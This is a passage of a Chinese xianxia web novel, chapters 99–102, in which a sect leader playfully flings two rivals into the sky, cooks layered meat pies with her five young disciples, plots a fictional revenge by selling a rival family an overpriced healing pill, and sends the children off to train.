云见月瞬间感觉像是陷入了最深沉的泥沼,别说攻击,连动一根手指头都变得极其困难。 她整个人被那股恐怖的威压定在了原地,俏脸上满是错愕和不服。 虞青焰眼里带着笑意,甚至慵懒地换了个更舒服的姿势。 那强大的威压开始温柔却不可抗拒地包裹住云见月,然后……缓缓地将她托了起来。 “喂——虞青焰你干嘛!快放我下来!”云见月双脚离地,失去着力点,顿时惊呼出声,手脚并用地挣扎,却毫无用处。 虞青焰的声音慢悠悠地传来:“不是要比试?这还没开始呢,云大宗主就要求饶了?” 云见月气得咬牙切齿,粉面含煞,却碍于实力差距,硬是憋着一句话不说。 虞青焰见状,眼中的笑意更深了。 他心念微动,那包裹着云见月的威压便开始像放风筝一样,将她轻轻地、高高地抛向了天空。 云见月惊呼,体内的灵力在这绝对的力量差距面前毫无作用,整个人完全不受控制地被抛上高空,风呼呼地吹过她的耳边,裙摆飞扬。 而虞青焰,悠闲地躺在摇椅里,看着在天上忽上忽下的云见月,一副惬意看戏的模样。 这滑稽的一幕,恰好被吃饱了丹药、心满意足出来溜达的苏心瑶和林思思看个正着。 苏心瑶先是一愣,随即毫不客气地指着天上“噗嗤”一声笑了出来。 “呦!云大宗主还真是有‘童心’啊,自己一个人在天上放风筝呢?这玩法挺别致啊。” 林思思也忍俊不禁,捂着嘴偷笑。 被当场看到如此窘态,云见月顿时面红耳赤,恨不得找个地缝钻进去。 苏心瑶看她吃瘪,更是来了劲,小嘴叭叭地不停:“云大宗主就是会玩,不像我,虽然平日看着是骄纵了些,但其实我比谁都稳重,可干不出这等…呃…童心未泯的事。” 云见月听得眉头直跳,忽然,她唇瓣勾起一抹坏笑,冲着下面的苏心瑶道:“看来苏大小姐很是羡慕我能在天上飞?” 苏心瑶下意识嘴硬:“当然!我可羡慕你了,羡慕你‘童心未泯’,‘自娱自乐’。” “既然这般羡慕,”云见月笑得像只狡猾的狐狸,“那你也过来,和我一起‘放风筝’吧!” 话音未落,一道灵力倏地从她指尖射出,瞬间缠住还没来得及反应的苏心瑶的腰肢,在她惊恐的目光中,猛地将她拉上了天。 “啊——!!!云见月你混蛋!放我下去!”苏心瑶的尖叫声瞬间划破长空。 于是,玄天宗的上空,出现了奇特的景象。 两个女子,一位白衣清冷,一位粉裙娇艳,如同两只风筝,在空中被无形的线操控着,上下翻飞。 云见月还坏心眼地故意用灵力搅动,让苏心瑶那边晃得特别厉害。 “啊——云见月——我错了——放我下去——哇啊啊啊——” 第100章 苏心瑶第一次体会到,什么是人间烟火气 林思思目瞪口呆地看着好朋友被甩上高空,伴随着凄厉的尖叫上下翻飞。 她急的直跳脚,“云见月,你疯了?快放下瑶瑶,瑶瑶被吓到了……” “好姐妹自然要有福同享,有难同当。”云见月轻笑道,另一道灵力射出,瞬间缠上了林思思的腰肢。 “诶?!等等!云见月我唔啊啊啊——” 林思思双脚离地,尖叫着被拉离地面。 粉裙与蓝衣在空中缠成一团,苏心瑶的发簪被甩飞出去时,正好砸中林思思的发髻,两人尖叫着互相抓对方的衣袖。 虞青焰看着她们在天上飞,唇角抑制不住地上扬,折扇轻摇,一副置身事外、乐见其成的模样。 尖叫声很快引起了五个小家伙的注意。 他们迈着小短腿,噔噔噔地循声跑来。 当看到天上飞来飞去的师尊和两位新来的漂亮姐姐时,孩子们的眼睛瞬间亮了。 “哇——师尊变成风筝了。” “姐姐们飞得好高,好开心啊。” “师尊飞高点,再高一点。” “飞呀飞呀,转圈圈。” 苏心瑶听到下面小家伙们看热闹不嫌事大的欢呼,脸都绿了,一边尖叫一边喊:“放我下去,云见月,我错了,我真的错了。” 云见月操控着灵力,坏心眼的让她们晃得更厉害了些,慢悠悠地问:“还骂不骂我是贱人了?” “不骂了不骂了,再也不骂了。”苏心瑶吓得语无伦次,闭着眼睛大喊。 林思思委屈道:“我都没骂过你,我是无辜的啊——快放我下来。” “光不骂可不行,你们给我说点好听的。”云见月的声音带着笑意传来。 苏心瑶为了赶紧下去,开始搜肠刮肚地夸:“你是天底下最好最善良最美的女人,你貌若天仙、修为盖世、心胸宽广,是我有眼无珠,是我嘴贱,你大人有大量,放过我吧,呜呜呜┭┮﹏┭┮......” 旁边的林思思也被晃得七荤八素,赶紧跟着求饶:“云见月你风华绝代、英明神武,是我们不懂事,我们再也不敢了。” 两人你一句我一句,什么“下域第一美人”、“玄天宗之光”、“善良宽容的化身”之类的词都往外蹦,又怂又可爱,听得下面的虞青焰摇扇子的动作都顿住了。 云见月听着这毫无底线、花样百出的彩虹屁,心中的那点小报复终于得到了满足。 她灵力一收,两人惊叫着从空中坠落,却在离地几寸时被一股柔和的力道托住,稳稳放在了地上。 脚一沾地,苏心瑶和林思思就腿一软,胃里翻江倒海,开始干呕起来,小脸苍白如纸,额头上全是冷汗。 两人互相靠着,连瞪云见月的力气都没有了。 小家伙们见状,欢呼着围上来:“师尊师尊,我们也要玩,我们也要在天上做风筝。” 云见月笑着指了指虞青焰的方向:“这就要问一问你们的虞叔叔愿不愿意帮忙了。” 孩子们立刻调转方向,扑向虞青焰,叽叽喳喳地哀求:“叔叔最好了。” “让我们飞飞嘛。” “求求你啦虞叔叔~” 虞青焰看着这群眼巴巴的小萝卜头,眼中闪过一丝温柔。 他合起折扇,竟是没有拒绝,“好。” 话音落下,一股灵力涌出,轻柔地包裹住五个小家伙,将他们稳稳地托举到空中。 “哇——飞起来啦。” “好高呀,我看到整个玄天宗啦。” “我看到山下的树林和小河了。” “啊啊啊——像大鸟一样。” 孩子们兴奋的尖叫声此起彼伏,没有害怕,而是充满了新奇、激动和难以言喻的快乐。 虞青焰仔细控制着灵力,让他们不仅能平稳飞行,还能时而加速,时而盘旋,甚至轻轻翻滚,仿佛真的在体验最有趣的空中游戏。 他罕见地收起了那一派慵懒,神情专注而温和,仰头看着空中那五个小小的、快乐的身影。 他操控着灵力,让他们越飞越高,仿佛托举着他们去触摸那洁白的云朵,去眺望那遥远的天际线,让他们站在一个足够高的地方,见识更广阔的天地,拥有更远大的志向。 整个玄天宗的上空,都回荡着孩子们开心的笑声。 云见月看着飞过自己,越飞越高的徒弟们,脸上的笑越发深邃。 虞青焰站在地上,仰头看着,眼中是他自己都未曾察觉的宠溺与纵容。 苏心瑶缓过来,看着这温馨得像一幅画的一幕,苍白的脸上也不由自主地露出了一丝真心的笑。 她想起小时候,爹爹也是这样把她举过头顶,纵容她,包容她,将世上所有好东西都送到她面前。 正是这份毫无保留的宠爱,才养成了她日后骄纵任性、不知天高地厚的性格。 直到死过一次,她的心态才发生了翻天覆地的变化。 那份盲目的骄纵被击得粉碎,取而代之的是混杂着后怕的反省。 如此肆意温柔的云见月,怪不得看不上楚凌风了。 她也该释怀了。 她轻轻呼出一口气,感觉心里某个一直堵着的疙瘩忽然松开了。 玩了好一会儿,虞青焰才操控着灵力,将五个兴奋得小脸通红、意犹未尽的小家伙安全地送回到地面。 虞青焰收起灵力,冲云见月扬了扬眉,语气戏谑:“看来,云宗主还需勤加修炼才是。” 云见月没好气地白了他一眼,但心里早已经掀起了波澜。 她知道虞青焰强,却也没想到两人的差距如此悬殊。 在他面前,自己竟连一丝反抗的余地都没有。 她应该庆幸,下域没有第二个虞青焰这般的人物与自己为敌,否则……自己瞬间就被秒杀了。 她望向天边那被夕阳染得火红的云霞,心中信念愈发坚定。 她相信,只要不断前行,终有一日,她也能抵达那样的高度。 “时间不早了。”云见月收回目光,看向孩子们,“宝贝们,今晚想吃什么?” 孩子们立刻围拢过来,小脸上满是期待和纠结。 “包子好吃。” “饺子也好吃。” “烤鸡更好吃。” 一个个选项被提出来,选择困难症都要犯了。 见他们一脸难以抉择的小模样,云见月笑道:“不如,今晚为师给你们做千层肉饼,如何?” 千层肉饼? 师尊还没做过呢。 光听名字就感觉很好吃。 小家伙们一个个眼睛放光,不约而同地吞咽了一下口水,那小馋猫的样子,看得旁边的苏心瑶也忍不住跟着悄悄咽了下口水。 上次那火锅的香味就让她惦记了好久,今天,终于能尝到云见月的手艺了。 云见月带着孩子们走向厨房。 苏心瑶拉了拉林思思的袖子,小声道:“思思,走,我们也去看看那千层肉饼到底是什么。” 林思思点头,她的馋虫也被勾起来了。 两人跟着溜达到厨房门口,探头往里看,只见里面一派热火朝天却又井然有序的景象。 说是云见月做饭,其实她更像总指挥。 萧星尘坐在小板凳上,认真地摘洗着翠绿的小葱;鹿闻声抱来干爽的柴火,整齐地码放在灶边;郁仙踮着脚,正在一个大盆里卖力地和着一团光滑的面团;江迷雾则手持菜刀,有模有样地挥舞着,将一块肥瘦相间的肉剁成细腻的肉馅;苏渺渺年纪最小,帮不上大忙,就在一旁拍着小手,奶声奶气地喊着“师兄师姐加油”。 苏心瑶看着这分工合作、温馨无比的鲜活画面,眼中闪过一丝意外和触动。 这种温馨融洽、共同为一餐饭忙碌的场景,她在天元宗从未参与过,也从未觉得这有什么值得关注的。 此刻看来,却有一种平凡的温暖和烟火气,悄然拨动了她的心弦。 一切准备就绪,云见月亲自上手。 她将剁好的肉馅放入盆中,加入各种调料和切得细碎的葱花,熟练地搅拌起来。 起初,苏心瑶看到江迷雾剁葱时散发出的刺鼻味道还下意识地皱了下鼻子,有些嫌弃。 可当葱花与肉馅、酱料混合在一起后,一种奇异的咸香开始弥漫开来,竟勾得人食指大动。 接着,云见月将醒好的面团分成剂子,擀成薄薄的大面片,均匀地铺上厚厚的肉馅,然后像变魔术一样,将面皮一层层叠起来,封好边,再轻轻擀成一张厚薄适中、饱满圆润的大饼。 锅底刷上清亮的油脂,烧热后,将巨大的肉饼小心地放入锅中。 “滋啦——” 一声悦耳的脆响,热油与面饼接触的瞬间,激发出的浓郁香气瞬间爆开,充满了整个厨房。 那是一种混合了焦香面皮、浓郁肉香和清新葱味的,极其霸道而诱人的气味。 孩子们一个个踮着脚尖,扒着灶台边缘,小鼻子使劲地嗅着,眼睛瞪得圆圆的,盯着锅里那渐渐变得金黄酥脆的饼皮,口水都快流出来了。 苏心瑶也忍不住吞了吞口水,她吃过无数山珍海味,却从没被这样简单的香气勾得心神不宁。 第一个大大的千层肉饼烙得两面金黄,云见月将其盛出切成大小均匀的三角块。 层层叠叠的饼皮间,露出油润喷香的肉馅和葱花,热气腾腾,香气四溢。 “孩子们,可以吃啦。”云见月笑着招呼。 萧星尘立刻拿起一块,但他并没有自己吃,而是高高举起,递到了云见月面前,小脸上满是孺慕:“师尊做饭最辛苦,师尊先吃。” 其他四个小家伙也立刻点头,小脸上满是期待,异口同声地奶声奶气道:“师尊先吃!师尊先吃!” 看着他们如此懂事贴心,云见月的心瞬间软得一塌糊涂,眼眶甚至有些微微发热。 她没有拒绝这份心意,微笑着低下头,就着萧星尘的手,在那块诱人的肉饼上咬了一大口。 酥脆的外皮在齿间碎裂,发出轻微的“咔嚓”声,内里柔软多层,滚烫鲜美的肉汁混合着葱香和面香瞬间溢满口腔,味道浓郁得让人恨不得连舌头一起吞下去。 “嗯!太好吃了!”云见月由衷地赞叹,并温柔地补充道:“这肉饼这么香,也有我们星辰摘的葱、闻声烧的柴、仙儿和的面、阿雾剁的肉,还有渺渺加油的功劳呢。” 孩子们听到师尊的肯定,一个个小脸上顿时扬起了无比幸福和自豪的笑容,比吃了蜜还甜。 之后,云见月继续烙饼,等全部烙完,切好,装了好几个大盘子,才端到餐厅那巨大的玻璃转桌上。 苏心瑶再次为这方便新奇的玻璃转桌惊叹了一下,但今天已经被太多新奇事物冲击过,这转桌反而显得没那么震撼了。 她现在所有心思都在那香气扑鼻的千层肉饼上。 所有人围坐在餐桌旁。 孩子们吃得毫无形象,小手抓着肉饼,啃得满嘴是油,腮帮子鼓鼓的,一边吃一边含糊不清地说着“好吃”。 苏心瑶和林思思也拿起一块,刚咬下就眼睛一亮。 外酥里嫩、咸香适口、层次丰富的味道瞬间将两人征服了,也加入了埋头苦吃的行列,吃得那叫一个香。 虞青焰吃相依旧优雅,动作不疾不徐,但速度却一点不慢,比谁吃的都多。 青璃这几个月来也适应了人类的食物,她小口吃着肉饼,眼底满是满足。 屋内的灯光温暖明亮,肉饼的香气、孩子们的笑声、偶尔的交谈声,交织在一起,温馨又和谐。 苏心瑶看着身边的人,突然觉得,赖在玄天宗,或许真的是她这辈子最正确的决定。 窗外夜色渐浓,殿内却暖意融融。 第101章 我要他们倾尽所有,赌上一切,最后一败涂地 深夜。 皓月当空,红烛摇曳,茶香袅袅。 五个小家伙围坐在云见月身边。 青璃煮茶,茶香混着夜露的清冽,漫过整个庭院。 虞青焰依旧慵懒地躺在他的摇椅里,半阖着眼,仿佛睡着了。 苏心瑶和林思思搬了小板凳坐在一边。 她们看着眼前这幕恬静温馨的画面,躁动了一天的心,竟不由自主地平静了下来。 云见月轻啜了一口青璃递来的灵茶,目光温和地扫过五个徒弟,最后落在了萧星尘身上。 “星辰,今日回萧家祭拜,发生了许多事,你有什么想和为师,还有师弟师妹们分享的吗?” 萧星尘攥了攥手心,白天被族老羞辱、被族人排挤的画面还在眼前。 他深吸一口气,眼神变得坚定。 “师尊,您说的对,世间规则万千,但弱者连呼吸都是错的。 要不是徒儿近日勤于修炼,有了足以自保反击的力量,今天在萧家,恐怕又要像小时候那样,被他们围着欺负,连爹娘的牌位都护不住。” 他顿了顿,声音更加沉稳:“所以,我最大的收获是,唯有自身强大,才是唯一的硬道理。尊严和公正,需要用实力来捍卫。” 说完,他看向身旁的师弟师妹们,语气郑重:“师弟,师妹,我们一定要听师尊的话,好好修炼。只有变强了,才能护着自己想护的人,才能不被别人踩在头上,才能让师尊为我们感到骄傲,而不是担忧。” 四个小家伙听得极其认真,小脑袋用力地点着。 “大师兄,我们记住了。” “我一定努力修炼,以后帮大师兄打坏人。” “听师尊的话。” “渺渺也会变厉害。” 云见月看着萧星尘,眼中流露出欣慰。 她伸手,轻轻摸了摸他的头。 “星辰,你说得极好,师尊很高兴你能悟透这一点。” 她的目光扫过每一个孩子。 “强骨才能立世,硬拳才能护人。” “但记住,‘硬拳’不是让你们去欺负弱小,而是让你们在看到不公时,有说‘不’的底气;在想守护什么时,有说‘我可以’的资格。” “修炼不只为了‘打’,更是为了‘选,选自己想走的路,选要守护的人,选不被别人左右的底气。只要你们心齐、努力,将来不管遇到什么,师尊都信你们能扛过去。” 这番话没有晦涩的大道理,却像一颗小石子,落在每个孩子心里。 连苏心瑶和林思思都听得入了神。 她们从小听惯了“宗门规矩”“家族荣誉”,还是第一次有人告诉她们,修炼是为了“自己选”。 林思思悄悄碰了碰苏心瑶的胳膊,小声说:“原来……修炼还能这么想。” 虞青焰看着云见月与孩子们的互动,唇角不自觉上扬。 青璃煮茶的动作也慢了些,金色的蛇瞳里,映着庭院中温暖的灯火。 等孩子们的情绪稍平,云见月面色微微一正,语气带着几分郑重。 “你们的修为根基已足够扎实,但目前最欠缺的,是生死之间的实战磨砺。距离仙门大比开启还有五个月,这五个月,为师希望你们能积累到足够多的实战经验。” 她顿了顿,看着孩子们瞬间亮起又带着紧张兴奋的眼睛,宣布道:“为师决定,明日便让你们五人组成小队,出宗门自行历练。” “哇!” “真的吗师尊?” “我们可以出去闯荡了?” 孩子们的小脸上瞬间写满了惊讶、兴奋和期待,眼睛瞪得溜圆。 “安静。”云见月语气温和却自带威严,“听为师说完。” 孩子们立刻捂住嘴巴,禁声。 云见月叮嘱道: “你们五个,是一个团队。出门在外,切记三点:一要互帮互助,同心同德,绝不可抛下任何一人;二要时刻警惕,害人之心不可有,防人之心不可无;三要量力而行,遇事不决,保命为上。记住了吗?” “记住了,师尊!”五个小家伙异口同声,声音响亮。 又细细叮嘱了些注意事项,云见月才让孩子们回去休息。 小家伙们带着兴奋激动的心情,乖乖回了房。 苏心瑶忍不住开口:“你真放心让他们出去?他们年纪这么小,万一出现意外怎么办?” “我不会让他们出意外。”云见月语气平静却带着不容置疑的笃定。 “若是万一呢?”苏心瑶追问。 “没有万一。”云见月的回答斩钉截铁。 ...... 夜色渐深,庭院中最终只剩下云见月和青璃。 云见月想起白天的事,看向青璃:“忘了问你,你是怎么救下苏心瑶的?” 青璃收起煮茶的茶具,语气平淡:“长春堂每日关门早,我回宗门时,路过迷雾之森,看到那里燃起大火,就飞过去看看,结果就遇到了受伤濒死的苏心瑶。” “我没想到你会救她。”青璃是蛇,本身就极其冷漠,她会救苏心瑶,这是云见月没想到的。 青璃金色的蛇瞳在月光下显得格外清冷,“或许是做蛇太久,也想试着做一次‘人’会做的事吧。” 云见月只是勾了勾唇,对她的回答不置可否。 过了一会儿,她才开口:“还好你救了她,否则,这口黑锅,我便算是背实了。” 在修真界,多个朋友总好过多堵墙,能不与天元宗交恶最好,省却无数麻烦。 这也是她默许苏心瑶和林思思留下的原因。 苏心瑶虽然骄纵愚蠢了点,但心思简单。 她没有蠢到,因自己的对楚凌风的爱慕之情而将宗门利益至于不顾的境地,从这一点便能看出她的底线犹在,并非大奸大恶之徒。 思及此,云见月唇边勾起一抹极淡的弧度。 青璃沉默片刻,犹豫了一下还是开口:“主子,郁长林这一个多月,几乎每日都通过各种方式哀求,想要求见三小姐一面。” “你怎么回的?” “我依主子先前吩咐,未曾理会。只是……”青璃眼底闪过一丝难以抑制的厉色,“他实在烦不胜烦,我……有时几乎控制不住,想直接杀了他。” 云见月轻轻拍了拍青璃的手臂,示意她稍安勿躁。 “再忍忍。就这么轻易杀了他,岂非太便宜他了?” “在药仙谷,他杀你剖妖丹之仇,以及施加在仙儿身上的痛苦,这笔血债,总要连本带利,一一清算干净。” “郁长林不是心心念念,想要能修复丹田的大还丹吗?我给他。” 青璃诧异抬头:“主子,为何要给他?” 云见月看着杯中茶叶沉浮,抬眼时,眼神变得冰冷锐利。 “只有先给他足够的希望,让他爬得越高,摔下来的时候才越疼。” “五个月后的仙门大比,我要让他们亲眼看到,他们弃如敝履、肆意践踏的女儿,就是他们心心念念的天才炼丹师。” “当他们意识到自己亲手将家族崛起的最大希望推开时,会是何等精彩的表情?又是何等的悔恨交加?” 她看向青璃,眼神平静无波,却让人心底发寒:“我要的,从来就不是一刀毙命的痛快。而是让他们余生都活在求而不得、辗转反侧的痛苦与悔恨之中,这才是最彻底的报复。” 青璃金色的蛇瞳一瞬不瞬地凝视着云见月,听着她用最轻描淡写的语气,说着最决绝狠戾的话,只觉得眼前之人仿佛在发光,有着一种令人心悸又无比臣服的魅力。 “主子英明。”她心悦诚服。 “主子打算给郁长林几颗大还丹?” “一颗。”云见月伸出一根手指。 “一颗?”青璃愣了一下,郁长林和郁明轩的丹田都毁了,一颗大还丹,根本不够两个人用。 云见月像是看穿了她的心思,轻笑:“你说,郁长林会把这颗大还丹留给自己用,还是给郁明轩?” 青璃一时想不通,摇了摇头。 “他会给郁明轩。”云见月笃定道。 “为何?” “仙门大比只收十八岁以下的弟子,药仙谷如今就只有十五岁的郁明轩符合条件。郁长林肯定会把所有希望都放在郁明轩身上,想让他拿到上域的邀请函,帮药仙谷崛起。” “因此,郁长林必定会将所有资源和希望,孤注一掷地押在郁明轩身上。” “我就是要看看,被郁长林寄予厚望、用尽最后家底堆砌起来的儿子,若是在众目睽睽之下的仙门大比上,输给了他最看不起、伤害最深的弃女,从刚刚爬起的云端再次狠狠跌入泥潭,那时,郁家父子的表情,该是何等精彩!” 说罢,云见月指尖流光一闪,一株灵气盎然的仙草出现在她手中,正是炼制大还丹的主药,千年份的还阳草。 此草在下域堪称有价无市,足以引起腥风血雨,但在云见月的秘境里,千年份不过是寻常之物。 她将还阳草递给青璃:“你去用全自动炼丹电饭煲,将它炼制成大还丹,然后,卖给郁长林。” “主子,若由我炼制,最多也只能成上品丹。” “上品足以。”云见月语气淡漠,“郁家人,还不配享用仙儿亲手炼制的极品灵丹。” “那……主子,这枚大还丹,该卖价多少?” 云见月略一思忖,红唇轻启,报出一个天文数字:“一千万下品灵石。” 青璃蛇瞳微缩。 云见月冷笑道:“如今的药仙谷,产业尽失,老巢被毁,这一千万下品灵石,恐怕已是他们变卖所有、掏空家底才能凑出的数目。 我就是要他们倾尽所有,赌上一切,将所有的希望和未来都系于郁明轩一人之身。 然后,再让他们亲眼看着这希望,是如何在他们眼前彻底粉碎,最终落得个人财两空,永无翻身之日!” “这,才是我送给郁家的一份大礼。” 她的声音冷冽如冰,“胆敢一次次羞辱仙儿,还妄想用仙儿血肉炼就丹药,就该做好付出相应代价的准备。” 月光下,她的身影显得格外挺拔,也格外孤高清绝。 云见月目光望向夜空。 月色清冷,却照不进她眼底的算计。 郁家欠青璃的、欠仙儿的,她会一点一点,连本带利地讨回来。 这颗大还丹,不过是她送给郁家的“开胃菜”,真正的“大礼”,还在五个月后的仙门大比上等着他们。 第102章 五个小家伙出宗门历练,云见月等人悄悄跟踪 天刚蒙蒙亮,长春堂所在的坊市街口却早已排起了一条蜿蜒的长龙。 人群井然有序,所有的目光都热切地投向那扇尚未开启的、挂着“长春堂”匾额的大门。 这已成为下域坊市中每日清晨必见的一大奇观。 自长春堂横空出世,短短不到三个月,其名号已响彻下域修真界。 无他,只因长春堂出品的丹药,药效卓绝、价格公道,将昔日霸主药仙阁彻底碾压成了历史的尘埃。 如今的玄天宗,凭借长春堂可谓日进斗金,海量灵石滚滚而来。 “吱呀——” 一声轻响,长春堂那厚重的玻璃门打开。 一袭青衣、眼覆轻纱的青璃出现在人前。 修士们立刻精神一振,眼中放出光来,却无一人喧哗拥挤,依旧保持着秩序,只是脚步加快,鱼贯而入,显示出对丹药的渴望。 店内很快便挤满了人,各种丹药被迅速抢购。 突然,不知是谁倒吸了一口冷气,发出一声压抑不住的惊呼:“大家快看那个展示柜,那……那枚丹药,标价一千万下品灵石?!” 这一声如同石子投入平静的湖面,瞬间吸引了所有人的目光。 众人齐刷刷地望向店内最中央那个一直空置许久的展示柜。 只见一枚龙眼大小、通体浑圆、散发着氤氲宝光和磅礴生机的丹药,正静静躺在柔软的锦缎之上。 标价那串数字刺目惊心。 “天啊……一、一千万?” “那丹纹……那药香……是,是大还丹。” “真的是传说中的大还丹?能活死人肉白骨,即便丹田破碎也能重塑的大还丹?” “怪不得如此天价,此等神丹,值这个价!” 店内响起一片此起彼伏的惊叹声。 每一个修士眼中都流露出极致的渴望,但那一千万的天文数字,浇灭了他们的心思。 这对于普通低阶修士而言,怕是穷尽一生也难以攒够的巨款。 半个时辰后,店内其他丹药被抢购一空,人群渐渐散去,唯独那枚大还丹,依旧孤零零地留在展示柜中,无人问津。 青璃如同往日一般,神色淡漠地整理着账目。 不多时,熟悉的三人组又来了。 郁长林带着夫人柳静怡和女儿郁姝,脸上堆着近乎谄媚的笑容,凑近柜台。 “青璃掌柜,早啊。”郁长林搓着手,试图套近乎。 “您看,小女郁姝,性子乖巧,年纪也与三小姐相仿。若是三小姐平日炼丹烦闷,需要个伴儿说说话解解闷,不妨让姝儿留下?也能伺候三小姐……” 青璃头也未抬,继续拨弄着她的算盘,周身散发着生人勿近的冰冷气息。 见青璃依旧是这副油盐不进的模样,郁长林心头憋闷异常,一股邪火无处发泄。 可想到自己放出去的大话,想到五个月后云见月那贱人的嘲讽,他只能硬生生忍住。 他正欲再寻话头,身旁的柳静怡却突然发出一声短促的惊叫:“啊!” “鬼叫什么!”郁长林被吓了一跳,不满地低声呵斥。 柳静怡手指颤抖地指向店铺最中央那个展示柜,声音都在发飘:“夫、夫君……你看!那……那是不是……大还丹?” “大还丹”三个字,如同一道惊雷,狠狠劈在郁长林的心口。 他猛地扭头望去。 那个展示柜,他太熟悉了,曾经放着让他梦寐以求的紫金元婴丹,却被苏心瑶夺走,之后展示柜里就空了许久…… 此刻,一枚丹药静静躺在那里,散发着令他灵魂都在战栗的气息。 郁长林的呼吸瞬间变得粗重无比,眼睛瞪得几乎要凸出来,声音因极致的激动而剧烈颤抖:“青…青璃掌柜,那…那真的是…大还丹?” 青璃终于抬眸,却懒得给他一个字,只是用纤长的手指,冷漠地敲了敲展示柜玻璃上贴着的标签。 【天阶上品大还丹!】 【售价:一千万下品灵石!】 两行字,清晰、冰冷,却又带着无与伦比的诱惑力,砸进郁长林的眼里、心里。 郁长林只觉得一阵头晕目眩,心脏狂跳得几乎要冲出胸膛。 是大还丹,果然是大还丹。 大还丹是他和轩儿的希望,是他们父子修复丹田、重回修炼之途的唯一指望。 整个下域,唯有神秘的长春堂三小姐可以炼制此丹。 他苦苦哀求一个多月,却连三小姐的面都见不到,几乎快要绝望了……没想到,上天竟将机会直接送到了他的眼前。 虽然不是极品,但这是天阶上品啊,同样是世间罕有。 他声音嘶哑,“请…请问青璃掌柜,这枚大还丹,是何人所炼?” 青璃覆纱的目光冷冷投向他,明明看不见眼睛,郁长林却只觉得一道冰冷如同毒蛇般的视线将自己牢牢锁定,让他瞬间汗毛倒竖,冷汗涔涔。 “你说呢?”青璃的声音没有一丝温度。 郁长林身子一抖,几乎是本能地讪讪回答:“一、一定是三小姐……” 青璃就这么直直地“看”着他,那无声的压力让郁长林几乎要瘫软在地,才听到她幽冷的声音缓缓响起: “你每日都来,很烦。” 郁长林脸色瞬间惨白,羞愤难当。 下一秒,青璃的话却让他从地狱升回天堂:“所以,我便求了三小姐。这枚天阶上品大还丹,是她昨夜闲暇,用一株千年还阳草随手炼制的。你若真心想要,它,便是你的了。” 随手炼制?千年还阳草? 每一个字都像一记重锤,砸得郁长林耳鸣眼花。 千年还阳草,那是只存在于传说中的存在。 萧家那株百年份的都当祖宗供着,三小姐竟然随手就用千年份的来炼丹?还…还一夜即成? 想当年,药仙谷老祖宗炼制那枚极品大还丹,耗尽心力足足七日才成啊。 这巨大的差距,让郁长林对那位神秘三小姐的敬畏和巴结之心,瞬间达到了顶点。 此人所在的家族或者宗门,底蕴深不可测,他必须不惜一切代价结交。 届时,仙门大比之上,一定能狠狠打云见月的脸。 看她还不把郁仙那个小贱蹄子交给他。 他贪婪地盯着那枚丹药,喉咙干涩:“敢问青璃掌柜,这上品大还丹,修复丹田有几成把握?” “九成九。”青璃语气平淡无波。 九成九?与十成何异? 郁长林激动得浑身发抖,猛地一咬牙:“要!我要!青璃掌柜,您务必为我留着,一千万下品灵石数额巨大,我需些时间筹措,请您千万千万为我留住!” 有了上次的教训,这一次,他无比郑重的恳求道。 “说了是给你的,自然只卖给你。”青璃淡淡道。 得到这句承诺,郁长林狂喜之余,心尖都在滴血。 一千万下品灵石。 如今的药仙谷早已今非昔比,这是要砸锅卖铁,倾家荡产啊! 但他没有别的选择,这是唯一的希望。 三小姐既然肯为他炼丹,说明事情已有转机。 只要买下丹药,继续努力讨好,定能打动三小姐。 郁长林再无暇多想,立刻带着同样震惊狂喜的妻女,火速返回药仙谷筹钱。 变卖族产、抵押田地、低声下气向昔日交好的家族借贷…… 受尽白眼与嘲讽后,郁长林几乎掏空了药仙谷最后一点家底,甚至背上了沉重的债务,终于凑齐了一千万下品灵石,颤抖着从青璃手中买到了那枚寄托了他全部野望的天阶上品大还丹。 果然,一切皆如云见月所料。 在经历了一番挣扎与权衡后,郁长林最终将希望押在了儿子郁明轩身上,把大还丹交给了郁明轩,期盼他能在五个月后的仙门大比上一飞冲天,带领药仙谷重返荣耀。 他绝不会想到,五个月后的自己,将会陷入何等万劫不复的悔恨深渊。 不仅痛失药仙谷崛起的唯一机会,更变得一无所有,负债累累。 当讨债人凶狠地上门逼债,而他连一枚灵石都再也拿不出时,那狼狈如丧家之犬的模样,将成为整个下域的笑谈。 而他,只能眼睁睁地看着那个曾经被他视若废物、肆意践踏的亲生女儿,一步步踏上他永远无法企及的高度,光芒万丈。 几乎就在郁长林开始变卖家产的同一时间。 玄天宗山门前,晨光洒在五个整装待发的小小身影上。 萧星尘、鹿闻声、郁仙、江迷雾和苏渺渺排排站好,小脸上洋溢着难以抑制的激动和兴奋。 他们的小胸膛微微起伏,眼睛亮晶晶的,充满了对山门外广阔世界的好奇和即将迎接挑战的跃跃欲试。 这是他们第一次离开师尊的羽翼,独自去闯荡,感觉既紧张又无比新奇。 云见月蹲在他们面前,神色是少有的严肃。 “此次下山,一切需得万分小心。” “切记,你们是一个整体,遇事不可逞强,要多商量。星尘,你是大师兄,要照顾好师弟师妹。闻声、仙儿、阿雾和渺渺,你们也要听大师兄的话,互帮互助,明白吗?” “明白!”五个小家伙异口同声,五个小脑袋点得飞快。 “遇到危险,保命第一。”云见月再次叮嘱,尽管早已在他们身上留下了神识印记,但那颗为人师、如人母的心,依旧高高悬着,充满了不舍与担忧。 “知道啦师尊!”孩子们齐声应答。 又细细嘱咐了许多细节,比如如何辨认方向、如何寻找水源、不要轻易相信陌生人等等,云见月才缓缓站起身。 萧星尘深吸一口气,努力挺起小胸脯,仿佛这样就能承担起所有的责任。 他朝着云见月和虞青焰挥手:“师尊,虞叔叔,我们出发了。” 说完,他努力摆出小领导的模样,一挥手:“师弟师妹,跟紧我,我们走!” 五个小家伙立刻排成一个小队,萧星尘打头,鹿闻声和郁仙紧随其后,江迷雾和苏渺渺垫后。 他们迈着稚嫩却异常坚定的步伐,一步一步走出了玄天宗的护山大阵。 云见月的眼神,如同母亲目送雏鹰第一次离巢飞向远空。 明知天地广阔需他们自己去闯,却仍忍不住想将她们永远护在身后最安全的地方。 她收敛心神,“走吧,我们也跟上去。” 她正要与虞青焰一同悄然跟上,旁边却突然冒出两个脑袋。 苏心瑶拉着林思思,笑嘻嘻地凑过来:“等等我们,我们也去。” 云见月额角青筋微跳:“你们俩跟来做什么?难道还不准备回天元宗?” 苏心瑶理直气壮地一叉腰,“回什么回?我的丹田还漏气呢,要不是赖在你们玄天宗蹭吃蹭喝……啊不是,是休养生息,靠着你那些丹药吊着,我修为早掉没了。” “在你没彻底治好我之前,你去哪儿我就去哪儿,你别想甩掉我!”她可是铁了心要抱紧云见月这条金大腿了。 林思思也赶紧点头,紧紧挽住苏心瑶的胳膊:“瑶瑶去哪儿,我就去哪儿!” 她可不敢一个人回天元宗面对暴怒的宗主和自己爹爹的连环追问。 